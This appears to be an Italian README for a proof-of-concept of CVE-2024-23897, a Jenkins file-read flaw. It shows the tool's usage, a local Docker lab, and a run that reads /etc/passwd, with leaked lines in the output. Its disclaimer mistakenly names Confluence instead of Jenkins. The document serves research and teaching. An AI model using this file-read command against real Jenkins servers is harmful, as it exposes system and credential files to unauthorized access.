
Questa repository presenta una prova di concetto di CVE-2024-23897
Questo repository presenta una proof-of-concept di CVE-2024-23897 (Scoperta da SonarSource)
Questo codice è una proof-of-concept della vulnerabilità, non incoraggio nessuno a usarlo su istanze Confluence di cui non si è proprietari.
Questo strumento è stato sviluppato solo per scopi di ricerca e didattici e non sarò ritenuto responsabile per qualsiasi uso ne venga fatto.
Secondo il Jenkins Security Advisory 2024-01-24 : Jenkins utilizza la libreria args4j per analizzare gli argomenti e le opzioni dei comandi sul controller Jenkins durante l'elaborazione dei comandi CLI. Questo parser di comandi ha una funzionalità che sostituisce un carattere @ seguito da un percorso di file in un argomento con il contenuto del file (expandAtFiles). Questa funzionalità è abilitata per impostazione predefinita e Jenkins 2.441 e versioni precedenti, LTS 2.426.2 e precedenti, non la disabilita. Ciò consente agli attaccanti di leggere file arbitrari sul filesystem del controller Jenkins utilizzando la codifica dei caratteri predefinita del processo controller Jenkins.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)